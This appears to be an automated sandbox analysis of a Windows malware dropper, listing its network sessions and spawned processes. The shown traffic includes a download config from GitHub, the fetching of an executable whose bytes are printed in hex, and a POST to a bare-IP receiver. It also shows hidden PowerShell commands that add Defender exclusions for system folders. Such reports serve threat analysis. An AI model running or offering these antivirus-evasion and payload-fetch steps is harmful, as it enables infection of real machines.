2024-08-27 11:05:54 UTC	254	IN	Data Raw: 7b 0d 0a 20 20 22 66 6f 6c 64 65 72 5f 70 61 74 68 22 3a 20 22 43 3a 5c 5c 52 65 6b 61 22 2c 0d 0a 20 20 22 61 64 64 5f 65 78 63 6c 75 73 69 6f 6e 73 22 3a 20 74 72 75 65 2c 0d 0a 20 20 22 65 78 63 6c 75 73 69 6f 6e 5f 70 61 74 68 73 22 3a 20 5b 0d 0a 20 20 20 20 22 43 3a 5c 5c 55 73 65 72 73 22 2c 0d 0a 20 20 20 20 22 43 3a 5c 5c 57 69 6e 64 6f 77 73 22 2c 0d 0a 20 20 20 20 22 43 3a 5c 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 22 2c 0d 0a 20 20 20 20 22 43 3a 5c 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 22 2c 0d 0a 20 20 20 20 22 43 3a 5c 5c 52 65 63 6f 76 65 72 79 22 2c 0d 0a 20 20 20 20 22 43 3a 5c 5c 52 65 6b 61 22 2c 0d 0a 20 20 20 20 22 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 5c 44 65 73 6b 74 6f 70 22 0d 0a 20 20 5d 0d 0a 7d Data Ascii: { "folder_path": "C:\\Reka", "add_exclusions": true, "exclusion_paths": [ "C:\\Users", "C:\\Windows", "C:\\Program Files", "C:\\Program Files (x86)", "C:\\Recovery", "C:\\Reka", "%USERPROFILE%\\Desktop" ]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	185.199.111.133	443	7992	C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 11:05:54 UTC	141	OUT	GET /workhasf/kelm/main/nepipirusas.json HTTP/1.1 Host: raw.githubusercontent.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-08-27 11:05:55 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "8afdee626e191786c845a423ef408c35314075f4a1c4350f44a55f7503d99b00" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: F629:28EE07:6F5FBC:7AAC5E:66CDB08B Accept-Ranges: bytes Date: Tue, 27 Aug 2024 11:05:54 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740058-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1724756755.934187,VS0,VE57 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 26bd0ffca3bb2fe4ba322dd6e746cb37518d9bf8 Expires: Tue, 27 Aug 2024 11:10:54 GMT Source-Age: 0
2024-08-27 11:05:55 UTC	271	IN	Data Raw: 7b 0d 0a 20 20 22 64 6f 77 6e 6c 6f 61 64 73 22 3a 20 5b 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 22 64 6f 77 6e 6c 6f 61 64 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 77 6f 72 6b 68 61 73 66 2f 6b 65 6c 6d 2f 72 61 77 2f 6d 61 69 6e 2f 69 63 6f 6e 6f 7a 61 76 65 2e 65 78 65 22 2c 0d 0a 20 20 20 20 20 20 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 20 22 72 61 70 6e 65 77 73 61 2e 65 78 65 22 2c 0d 0a 20 20 20 20 20 20 22 72 75 6e 22 3a 20 74 72 75 65 0d 0a 20 20 20 20 7d 2c 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 22 64 6f 77 6e 6c 6f 61 64 5f 75 72 6c 22 3a 20 22 22 2c 0d 0a 20 20 20 20 20 20 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 20 22 64 6c 6c 2e 65 78 65 22 2c 0d 0a 20 20 20 20 20 20 22 72 75 6e 22 3a 20 66 61 6c 73 Data Ascii: { "downloads": [ { "download_url": "https://github.com/workhasf/kelm/raw/main/iconozave.exe", "file_name": "rapnewsa.exe", "run": true }, { "download_url": "", "file_name": "dll.exe", "run": fals

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	140.82.121.3	443	7992	C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 11:07:20 UTC	127	OUT	GET /workhasf/kelm/raw/main/iconozave.exe HTTP/1.1 Host: github.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-08-27 11:07:20 UTC	547	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 27 Aug 2024 11:07:20 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-08-27 11:07:20 UTC	3261	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	185.199.111.133	443	7992	C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 11:07:21 UTC	204	OUT	GET /workhasf/kelm/main/iconozave.exe HTTP/1.1 Host: raw.githubusercontent.com User-Agent: Go-http-client/1.1 Referer: https://github.com/workhasf/kelm/raw/main/iconozave.exe Accept-Encoding: gzip
2024-08-27 11:07:21 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 38912 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "12c37a0d92e3f8714d00d8ffa40d644b8e2520270caa1a870ac073d1e42f9dd0" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 97AB:2BC85:40E203:48916A:66CDB363 Accept-Ranges: bytes Date: Tue, 27 Aug 2024 11:07:21 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890075-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724756841.382007,VS0,VE99 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 354c32c8894117551a6f03a6326ac843843e7e37 Expires: Tue, 27 Aug 2024 11:12:21 GMT Source-Age: 0
2024-08-27 11:07:21 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f1 8e cb ea b5 ef a5 b9 b5 ef a5 b9 b5 ef a5 b9 b3 6e a6 b8 b1 ef a5 b9 fe 97 a4 b8 b8 ef a5 b9 b5 ef a4 b9 a0 ef a5 b9 da 6e a1 b8 a9 ef a5 b9 da 6e a7 b8 b4 ef a5 b9 52 69 63 68 b5 ef a5 b9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 50 53 cc 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 26 00 84 00 00 00 14 00 00 00 00 00 00 30 1d 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$nnnRichPELPSf&0
2024-08-27 11:07:21 UTC	1378	IN	Data Raw: 52 e8 88 7f 00 00 83 c4 08 89 45 ec 8b 45 f8 8b 48 08 ba 04 00 00 00 6b c2 00 81 bc 01 1a 04 00 00 4c 11 d2 ca 75 27 6a 00 8b 4d f8 8b 51 08 52 8b 45 08 50 8b 4d f8 83 c1 04 51 8b 55 f8 8b 02 50 e8 28 25 00 00 83 c4 14 e9 29 01 00 00 c6 45 ff 00 eb 09 8a 4d ff 80 c1 01 88 4d ff 0f b6 55 ff 81 fa 80 00 00 00 0f 83 0a 01 00 00 8b 45 f8 8b 48 08 0f b6 55 ff 83 bc 91 1a 04 00 00 00 75 02 eb d1 8b 45 f8 8b 48 08 0f b6 55 ff 0f b6 84 11 1a 07 00 00 83 f8 01 75 3c 83 7d f0 00 75 36 8b 4d 0c 83 c1 2c 51 e8 a2 7e 00 00 83 c4 04 89 45 f4 83 7d f4 00 74 1e 8b 55 f4 52 e8 2d 10 00 00 83 c4 04 d1 e0 50 8b 45 f4 50 e8 be 7e 00 00 83 c4 08 89 45 f0 83 7d f0 00 74 16 8b 4d f8 8b 51 08 0f b6 45 ff 8b 8c 82 1a 04 00 00 3b 4d f0 74 2c 8b 55 f8 8b 42 08 0f b6 4d ff 0f b6 94 Data Ascii: REEHkLu'jMQREPMQUP(%)EMMUEHUuEHUu<}u6M,Q~E}tUR-PEP~E}tMQE;Mt,UBM
2024-08-27 11:07:21 UTC	1378	IN	Data Raw: 0c 00 00 83 c4 08 85 c0 74 07 b8 01 00 00 00 eb 02 33 c0 8b e5 5d c3 cc cc cc cc cc 55 8b ec 83 ec 14 e8 55 05 00 00 e8 50 03 00 00 85 c0 75 07 33 c0 e9 ce 00 00 00 68 8d bd c1 3f a1 78 b0 40 00 50 e8 d5 00 00 00 83 c4 08 a3 94 b0 40 00 83 3d 94 b0 40 00 00 75 07 33 c0 e9 a6 00 00 00 c7 45 f0 90 b0 40 00 8b 4d f0 89 4d f8 c7 45 ec 78 b0 40 00 8b 55 ec 89 55 f4 8b 45 f4 83 e8 04 89 45 f4 c6 45 ff 00 eb 09 8a 4d ff 80 c1 01 88 4d ff 0f b6 55 ff 83 fa 27 73 66 8b 45 f8 83 38 00 75 16 8b 4d f4 83 c1 04 89 4d f4 8b 55 f8 83 c2 04 89 55 f8 eb d2 eb 18 8b 45 f8 8b 08 3b 0d 94 b0 40 00 75 0b 8b 55 f8 83 c2 04 89 55 f8 eb b8 8b 45 f8 8b 08 51 8b 55 f4 8b 02 50 e8 3b 00 00 00 83 c4 08 8b 4d f8 89 01 8b 55 f8 83 3a 00 75 04 33 c0 eb 10 8b 45 f8 83 c0 04 89 45 f8 eb Data Ascii: t3]UUPu3h?x@P@=@u3E@MMEx@UUEEEMMU'sfE8uMMUUE;@uUUEQUP;MU:u3EE
2024-08-27 11:07:21 UTC	1378	IN	Data Raw: 8c b0 40 00 83 ae 0c 5f 75 06 33 c0 eb 07 eb 05 b8 01 00 00 00 8b e5 5d c3 cc 55 8b ec 33 c0 74 2b 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 00 a0 40 00 6a 00 6a 00 6a 00 6a 00 6a 00 e8 12 77 00 00 6a 00 6a 00 ff 15 64 a0 40 00 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 50 e8 54 0d 00 00 83 c4 04 e8 4c 22 00 00 e8 e7 01 00 00 e8 32 fb ff ff 5d c3 55 8b ec e8 38 fa ff ff 85 c0 74 22 e8 9f 01 00 00 85 c0 74 19 e8 96 20 00 00 85 c0 74 10 8b 45 08 50 e8 49 0b 00 00 83 c4 04 85 c0 75 08 6a 00 ff 15 14 a0 40 00 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 c7 45 f8 00 00 00 00 33 c0 66 89 45 fc eb 0c 66 8b 4d fc 66 83 c1 01 66 89 4d fc 0f b7 55 fc 81 fa e8 03 00 00 73 19 0f b7 45 fc 8b 4d 08 83 7c 81 10 00 74 09 c7 45 f8 01 00 00 00 eb 02 eb Data Ascii: @_u3]U3t+jjjjjj@jjjjjwjjd@]UEPTL"2]U8t"t tEPIuj@]UE3fEfMffMUsEM\|tE
2024-08-27 11:07:21 UTC	1378	IN	Data Raw: 8b 4d 08 0f b7 11 83 fa 5a 7f 0f 8b 45 08 0f b7 08 83 c1 20 8b 55 08 66 89 0a 8b 45 08 83 c0 02 89 45 08 eb c6 5d c3 cc 55 8b ec 83 ec 0c 8b 45 08 89 45 fc 8b 4d 0c 89 4d f8 8b 55 fc 8b 45 f8 66 8b 08 66 89 0a 8b 55 fc 0f b7 02 89 45 f4 8b 4d fc 83 c1 02 89 4d fc 8b 55 f8 83 c2 02 89 55 f8 83 7d f4 00 74 02 eb d1 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 8b 45 08 50 e8 41 00 00 00 83 c4 04 83 c0 01 89 45 f8 8b 4d f8 d1 e1 51 e8 7d fc ff ff 83 c4 04 89 45 fc 83 7d fc 00 74 16 8b 55 f8 d1 e2 52 8b 45 08 50 8b 4d fc 51 e8 ce fc ff ff 83 c4 0c 8b 45 fc 8b e5 5d c3 cc cc cc cc 55 8b ec 51 8b 45 08 89 45 fc 8b 4d fc 0f b7 11 85 d2 74 0b 8b 45 fc 83 c0 02 89 45 fc eb eb 8b 45 fc 2b 45 08 d1 f8 8b e5 5d c3 cc cc cc cc cc 55 8b ec 51 8b 45 08 Data Ascii: MZE UfEE]UEEMMUEffUEMMUU}tE]UEPAEMQ}E}tUREPMQE]UQEEMtEEE+E]UQE
2024-08-27 11:07:21 UTC	1378	IN	Data Raw: ff 83 c4 04 89 45 f0 68 16 04 00 00 6a 00 8b 4d f0 51 e8 1f f9 ff ff 83 c4 0c 68 16 04 00 00 8b 55 0c 03 55 f8 52 8b 45 f0 50 e8 57 f8 ff ff 83 c4 0c 8b 4d f0 51 8b 55 08 52 e8 c7 eb ff ff 83 c4 08 8b 45 f0 50 e8 ab f7 ff ff 83 c4 04 8b 4d f8 81 c1 16 04 00 00 89 4d f8 8b 55 08 8a 82 b8 0f 00 00 2c 01 8b 4d 08 88 81 b8 0f 00 00 e9 9e 00 00 00 0f b6 55 ff 0f b6 44 15 ac 83 f8 02 0f 85 8c 00 00 00 8b 4d 08 8a 91 b8 0f 00 00 80 c2 01 8b 45 08 88 90 b8 0f 00 00 68 0b 0b 00 00 e8 12 f7 ff ff 83 c4 04 89 45 ec 68 0b 0b 00 00 6a 00 8b 4d ec 51 e8 7c f8 ff ff 83 c4 0c 68 0b 0b 00 00 8b 55 0c 03 55 f8 52 8b 45 ec 50 e8 b4 f7 ff ff 83 c4 0c 8b 4d ec 51 8b 55 08 52 e8 34 e8 ff ff 83 c4 08 8b 45 ec 50 e8 08 f7 ff ff 83 c4 04 8b 4d f8 81 c1 0b 0b 00 00 89 4d f8 8b 55 Data Ascii: EhjMQhUUREPWMQUREPMMU,MUDMEhEhjMQ\|hUUREPMQUR4EPMMU
2024-08-27 11:07:21 UTC	1378	IN	Data Raw: 00 00 6a 00 8d 4d f0 51 8d 55 f8 52 6a 00 68 13 00 00 20 8b 45 08 50 ff 15 20 b1 40 00 85 c0 74 57 81 7d f8 94 01 00 00 74 12 81 7d f8 90 01 00 00 74 09 81 7d f8 f4 01 00 00 72 16 8b 4d fc 0f b6 51 08 83 fa 01 75 08 6a 00 ff 15 14 a0 40 00 eb 26 81 7d f8 c9 00 00 00 74 09 81 7d f8 c8 00 00 00 75 14 8b 45 fc 0f b6 48 08 83 f9 05 75 08 6a 00 ff 15 14 a0 40 00 6a 00 8b 55 08 52 ff 15 04 b1 40 00 e9 d1 00 00 00 81 7d 10 00 00 04 00 0f 85 94 00 00 00 8b 45 fc 8b 4d 14 8b 11 89 50 1c 8b 45 fc 8b 48 18 8b 55 fc 03 4a 1c 8b 45 fc 89 48 18 8b 4d fc 83 79 1c 00 75 21 8b 55 fc 83 7a 04 04 74 0a 8b 45 fc c7 40 04 03 00 00 00 8b 4d 0c 51 e8 bc f1 ff ff 83 c4 04 eb 4b 8b 55 fc 8b 42 18 50 8b 4d fc 8b 51 0c 52 e8 24 f3 ff ff 83 c4 08 8b 4d fc 89 41 0c 8b 55 fc 83 7a 0c Data Ascii: jMQURjh EP @tW}t}t}rMQuj@&}t}uEHuj@jUR@}EMPEHUJEHMyu!UztE@MQKUBPMQR$MAUz
2024-08-27 11:07:21 UTC	1378	IN	Data Raw: cc cc 55 8b ec 51 68 2d b0 40 00 8b 45 08 83 c0 20 50 e8 1b ef ff ff 83 c4 08 c7 45 fc 00 00 fe 7f 8b 4d 08 8b 55 fc 8b 82 60 02 00 00 89 81 15 08 00 00 8b 4d 08 8b 55 fc 8b 82 6c 02 00 00 89 81 0d 08 00 00 8b 4d 08 8b 55 fc 8b 82 70 02 00 00 89 81 11 08 00 00 68 06 b0 40 00 8b 4d 08 51 e8 cd ee ff ff 83 c4 08 68 52 b0 40 00 8b 55 08 83 c2 07 52 e8 b9 ee ff ff 83 c4 08 8b 45 08 50 e8 cd 5a 00 00 83 c4 04 8b 4d 08 51 e8 41 58 00 00 83 c4 04 8b 55 08 52 e8 b5 59 00 00 83 c4 04 6a 01 8b 45 08 50 e8 37 59 00 00 83 c4 08 8b 4d 08 51 e8 5b 5a 00 00 83 c4 04 8b 55 08 52 e8 2f 5a 00 00 83 c4 04 8b 45 08 50 e8 d3 59 00 00 83 c4 04 8b 4d 08 51 e8 e7 59 00 00 83 c4 04 8b 55 08 52 e8 8b 5a 00 00 83 c4 04 8b e5 5d c3 cc cc cc cc 55 8b ec 81 ec 38 0f 00 00 68 33 0f 00 Data Ascii: UQh-@E PEMU`MUlMUph@MQhR@UREPZMQAXURYjEP7YMQ[ZUR/ZEPYMQYURZ]U8h3
2024-08-27 11:07:21 UTC	1378	IN	Data Raw: d7 f5 ff ff 02 8b 4d 14 8a 11 88 95 b0 f5 ff ff 68 21 06 00 00 6a 00 8d 85 d8 f9 ff ff 50 e8 ed e8 ff ff 83 c4 0c 8b 4d 10 51 8d 95 e8 fd ff ff 52 e8 6a ea ff ff 83 c4 08 8b 45 14 05 09 02 00 00 50 8d 8d d8 f9 ff ff 51 e8 52 ea ff ff 83 c4 08 68 08 02 00 00 8b 55 14 83 c2 01 52 8d 85 e0 fb ff ff 50 e8 97 e7 ff ff 83 c4 0c 0f b6 4d 18 51 8b 55 14 52 8d 85 d8 f9 ff ff 50 e8 2f 01 00 00 83 c4 0c 0f b6 c8 85 c9 75 05 e9 15 01 00 00 0f b6 55 18 8b 45 14 0f b6 8c 10 9a 06 00 00 83 f9 01 75 46 8b 55 0c 52 81 ec 28 04 00 00 b9 09 01 00 00 8d b5 b0 f5 ff ff 8b fc f3 a5 66 a5 a4 81 ec 24 06 00 00 b9 88 01 00 00 8d b5 d8 f9 ff ff 8b fc f3 a5 a4 8b 45 08 50 e8 b1 fc ff ff 81 c4 54 0a 00 00 e9 af 00 00 00 0f b6 4d 18 8b 55 14 0f b6 84 0a 9a 06 00 00 85 c0 0f 85 98 00 Data Ascii: Mh!jPMQRjEPQRhURPMQURP/uUEuFUR(f$EPTMU
2024-08-27 11:07:21 UTC	1378	IN	Data Raw: 00 68 27 04 00 00 6a 00 8d 85 ac fb ff ff 50 e8 9a e3 ff ff 83 c4 0c 68 ff 00 00 00 8d 8d ac fb ff ff 51 e8 f6 4e 00 00 83 c4 08 ba 01 00 00 00 6b c2 00 c6 84 05 d3 fb ff ff 05 6a 26 6a 00 8d 4d d4 51 e8 66 e3 ff ff 83 c4 0c 8d 55 d4 52 e8 6a 00 00 00 83 c4 04 68 27 04 00 00 8d 85 ac fb ff ff 50 b9 01 00 00 00 6b d1 00 03 55 fc 52 e8 8a e2 ff ff 83 c4 0c 6a 26 8d 45 d4 50 b9 01 00 00 00 69 d1 27 04 00 00 03 55 fc 52 e8 6d e2 ff ff 83 c4 0c 6a 05 68 4d 04 00 00 8b 45 fc 50 8b 4d 08 51 e8 f6 ed ff ff 83 c4 10 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 c6 40 25 01 68 2d b0 40 00 8b 4d 08 51 e8 98 e3 ff ff 83 c4 08 5d c3 cc cc cc 55 8b ec 83 ec 0c e8 95 01 00 00 85 c0 74 09 83 3d e8 b0 40 00 00 75 0c e8 73 06 00 00 33 c0 e9 61 Data Ascii: h'jPhQNkj&jMQfURjh'PkURj&EPi'URmjhMEPMQ]UE@%h-@MQ]Ut=@us3a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49749	45.125.66.18	443	8032	C:\Reka\rapnewsa.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 11:07:26 UTC	287	OUT	POST /api/receiver/recv HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.48 Content-Length: 3160 Host: 45.125.66.18
2024-08-27 11:07:26 UTC	3160	OUT	Data Raw: 00 7b 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 7d 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: {a33c7340-61ca-11ee-8c18-806e6f6e6963}
2024-08-27 11:07:27 UTC	231	IN	HTTP/1.1 201 Created Server: nginx/1.18.0 Date: Tue, 27 Aug 2024 11:07:27 GMT Content-Type: application/octet-stream Content-Length: 4230 Connection: close X-Powered-By: Express ETag: W/"1086-eeEIvwQRvsIx4B3isHTXuBfT8l0"
2024-08-27 11:07:27 UTC	4230	IN	Data Raw: 01 03 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	3.211.178.193	443	7992	C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 11:07:30 UTC	95	OUT	GET /get HTTP/1.1 Host: httpbin.org User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-08-27 11:07:30 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 11:07:30 GMT Content-Type: application/json Content-Length: 238 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-08-27 11:07:30 UTC	238	IN	Data Raw: 7b 0a 20 20 22 61 72 67 73 22 3a 20 7b 7d 2c 20 0a 20 20 22 68 65 61 64 65 72 73 22 3a 20 7b 0a 20 20 20 20 22 48 6f 73 74 22 3a 20 22 68 74 74 70 62 69 6e 2e 6f 72 67 22 2c 20 0a 20 20 20 20 22 55 73 65 72 2d 41 67 65 6e 74 22 3a 20 22 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 22 2c 20 0a 20 20 20 20 22 58 2d 41 6d 7a 6e 2d 54 72 61 63 65 2d 49 64 22 3a 20 22 52 6f 6f 74 3d 31 2d 36 36 63 64 62 33 37 32 2d 32 64 39 62 65 32 36 39 33 66 34 63 33 37 34 38 36 65 64 61 31 32 37 39 22 0a 20 20 7d 2c 20 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 20 0a 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 62 69 6e 2e 6f 72 67 2f 67 65 74 22 0a 7d 0a Data Ascii: { "args": {}, "headers": { "Host": "httpbin.org", "User-Agent": "Go-http-client/1.1", "X-Amzn-Trace-Id": "Root=1-66cdb372-2d9be2693f4c37486eda1279" }, "origin": "8.46.123.33", "url": "https://httpbin.org/get"}

Target ID:	0
Start time:	07:05:41
Start date:	27/08/2024
Path:	C:\Users\user\Desktop\UBONg7lmVR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UBONg7lmVR.exe"
Imagebase:	0x6f0000
File size:	52'506'624 bytes
MD5 hash:	D2DB9A159617250A517F9D074AB8F947
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	07:05:52
Start date:	27/08/2024
Path:	C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe"
Imagebase:	0xb00000
File size:	8'077'824 bytes
MD5 hash:	A499C507987982C951093E21DF0C0D96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Antivirus matches:	Detection: 11%, ReversingLabs Detection: 8%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:05:58
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:05:58
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:06:09
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
